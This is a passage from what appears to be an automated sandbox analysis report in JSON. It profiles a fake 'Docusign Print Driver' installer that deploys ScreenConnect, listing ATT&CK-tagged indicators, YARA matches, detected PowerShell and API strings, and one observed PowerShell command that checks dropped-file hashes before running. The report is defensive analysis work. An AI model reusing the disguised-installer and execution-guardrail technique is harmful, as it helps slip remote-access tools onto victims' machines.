\"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1574.007","relevance":1,"id":"string-530","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$66","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\Server\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Reference\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Connect\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Input\"\n \"cmd.exe\" trying to touch file \"\\Device\\ConDrv\\\\Output\"\n \"cmd.exe\" trying to touch file \"C:\\windows\\temp\\VxSSL64.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\FLTLIB.DLL\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\msvcp140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\MSVCP140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\vcruntime140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\VCRUNTIME140.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\vcruntime140_1.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\VCRUNTIME140_1.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"Docusign Print Driver x64.exe\" trying to access LNK file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Docusign Print Driver 3.0\\Docusign Print Driver 3.lnk\"\n \"Docusign Print Driver x64.exe\" trying to access LNK file \"C:\\Users\\Public\\Desktop\\Docusign Print Driver 3.lnk\"\n \"Docusign Print Driver x64.exe\" trying to access LNK file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\Docusign Print Driver 3.lnk\"\n \"Docusign Print Driver x64.exe\" trying to access LNK file \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Docusign Print Driver 3.0\\Docusign Print Driver 3.lnk\"\n \"Docusign Print Driver x64.exe\" trying to access LNK file \"%PUBLIC%\\Desktop\\Docusign Print Driver 3.lnk\"\n \"Docusign Print Driver x64.exe\" trying to access LNK file \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\Docusign Print Driver 3.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$67","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$68","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"cmd.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\sc_feedbacktool-bat.log\"\n \"cmd.exe\" writes file \"%temp%\\sc_feedbacktool-bat.log\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_iulw3s4j.zl2.ps1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_ybg1iizh.fbb.psm1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\sc_feedbacktool_107829898\\sc_feedbacktool.msi\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\powershell\\startupprofiledata-noninteractive\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"cmd.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\SC_FeedbackTool-bat.log\"\n \"cmd.exe\" writes a file \"%TEMP%\\SC_FeedbackTool-bat.log\"\n \"SecondInstaller.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Docusign_Print_Driver_3.6.3_(xps_x64)_20261106093555.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"Able to download remote files using web shell script","description":"Found string \"/.NET/NetClasses/HttpWebRequest/CONNECT__Group$$/\" (Indicator: \"HttpWebRequest\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-798","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00006420.00000001.214348.0CDE0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D\"\n Found http requests in header \"GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBROvXZLRR1VG0BH61zC6joTLyOBtQQUX1jtTDF6omFCjVKAurNhlxmiMpsCEQCkKTtuHt3XpzQIh616Trck\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"Contains ability to copy items (Powershell command string)","description":"Found string \"Copy-ItemProperty\" (Indicator: \"Copy-ItemProperty\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-377","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"Found string \"Invoke-WebRequest\" (Indicator: \"Invoke-WebRequest\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"Contains ability to move items (Powershell command string)","description":"Found string \"Move-ItemProperty\" (Indicator: \"Move-ItemProperty\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-378","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"Observed string: \"CURL\" (Indicator: \"curl\") in Source: 00000000-00002772.00000000.215210.DE840000.00000004.mdmp\n Observed string: \"curl\" (Indicator: \"curl\") in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-576","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$69","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$6b","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQF52yCFhiPtYYN0UQG0Zo%2BTDManQQU9ndq3T%2F9ARP%2FFqFsggIv0Ao9FCUCEHojrtpTaZYPkcg%2BXPTH4z8%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/10.0\nHost: ocsp.sectigo.com\n\n GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBROvXZLRR1VG0BH61zC6joTLyOBtQQUX1jtTDF6omFCjVKAurNhlxmiMpsCEQCkKTtuHt3XpzQIh616Trck HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/10.0\nHost: ocsp.sectigo.com\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$6c","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Network Related","name":"Identified known pipe name","description":"Found pipe name string \"\\PIPE\\wkssvc\" (Source: \"00000000-00007000-00000CCE-1889086639\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":3,"id":"string-735","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00002772\"\n YARA signature for detecting PowerShell file matched on process \"00000000-00006420\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RSA algorithm (keys)","description":"YARA signature for RSA public and private key matched on file \"Microsoft.Deployment.Compression.Cab.dll\"\n YARA signature for RSA public and private key matched on file \"Microsoft.Deployment.WindowsInstaller.Package.dll\"\n YARA signature for RSA public and private key matched on file \"ScreenConnect.Core.dll\"\n YARA signature for RSA public and private key matched on file \"Microsoft.Deployment.WindowsInstaller.dll\"\n YARA signature for RSA public and private key matched on file \"BootstrapperCore.dll\"\n YARA signature for RSA public and private key matched on file \"ScreenConnect.Windows.dll\"\n YARA signature for RSA public and private key matched on file \"Microsoft.Deployment.Compression.dll\"\n YARA signature for RSA public and private key matched on file \"ScreenConnect.InstallerActions.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":3,"id":"yara-62","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"ScreenConnect.Windows.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – high entropy image embedded in .NET resource","description":"YARA signature for high entropy images embedded in resource file \"DocuSign.BootstrapperApplication.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-214","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")\n Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to receive remote commands (Powershell command string)","description":"Found string \"Enable-PSRemoting\" (Indicator: \"Enable-PSRemoting\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-289","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Remote Access Related","name":"Contains reference to remote powershell session activity (Powershell command string)","description":"$6d","origin":"File/Memory","mitre_attack_id":"T1021.006","relevance":1,"id":"string-154","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE0EDD332F19B2E0DC959B5841C92C]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002772.00000000.215210.E08D0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE46FD4B76DC23C908154B718F861A]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00006420.00000000.214162.CF280000.00000004.mdmp, 00000000-00006420.00000001.214348.CF280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002772.00000000.215210.DE600000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00006420.00000000.214162.CF280000.00000004.mdmp, 00000000-00006420.00000001.214348.CF280000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00006420.00000001.214348.0CDE0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"Failed to locate RtlGetVersion.\" (Indicator: \"RtlGetVersion\"; File: \"00000000-00007008.00000002.220520.00081000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \"System.Data.SqlClient\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\"\n Found registry query API: \"RegGetValueW\" in \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\"\n Found registry query API: \"RegEnumKeyExW\" in \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve security-related event logs (PowerShell command string)","description":"Found string \"PowerShell -Command {Get-EventLog -LogName security}\" (Indicator: \"Get-EventLog\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")\n Found string \"PowerShell -Command \"& {Get-EventLog -LogName security}\"\" (Indicator: \"Get-EventLog\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1654","relevance":1,"id":"string-647","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"NtQueryInformationToken\" (Indicator: \"NtQueryInformationToken\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")\n Found reference to API \"NtQueryInformationToken\" (Indicator: \"NtQueryInformationToken\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to get system information using PowerShell","description":"Process \"powershell.exe\" with commandline \"-NoLogo -NoProfile -ExecutionPolicy Bypass -Command \"$m=Join-Path -Path $env:TD -ChildPath 'SC_FeedbackTool.msi'; $e=Join-Path -Path $env:TD -ChildPath 'SecondInstaller.exe'; if((Get-FileHash -Algorithm SHA256 -LiteralPath $m).Hash -ne 'C8F361433837AFE3CEB00D300E3B922FE5DD56365DADE70E3187031166D8676E'){exit 2}; if((Get-FileHash -Algorithm SHA256 -LiteralPath $e).Hash -ne '7AD243CD358D916E029BA8FF9A616DFDCAB29B594A9EBF08A66A1C4BD63FB7E2'){exit 3}\"\" (UID: 00000000-00002772)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-289","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$6e","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"rundll32.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"SecondInstaller.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"Docusign Print Driver x64.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00006420)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00007528)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00002772)\n \"Docusign Print Driver x64.exe\" called \"GetDriveTypeW\" with parameter A:\\ (UID: 00000000-00007000)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}\n \"rundll32.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00005036)\n \"SecondInstaller.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeffff00000008000000d8210000000001000600004f\"}\n \"SecondInstaller.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00007008)\n \"Docusign Print Driver x64.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeffff00000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00006420)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00007528)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00002772)\n \"Docusign Print Driver x64.exe\" called \"GetUserNameW\" (UID: 00000000-00007000)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"$6f","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$70","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$71","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"where the quotation marks indicate a string and the invoke operator (&)\" (Indicator: \"where \"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve processes (Powershell command string)","description":"Found string \"Get-Process\" (Indicator: \"Get-Process\"; Source: \"00000000-00002772.00000000.215210.E0B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-291","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"K32GetModuleFileNameExW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00002772.00000000.215210.140BB000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005036.00000000.215916.0056B000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005136.00000000.218070.02CCC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$72","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 46143-604-000A8AF2","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"Press Enter to 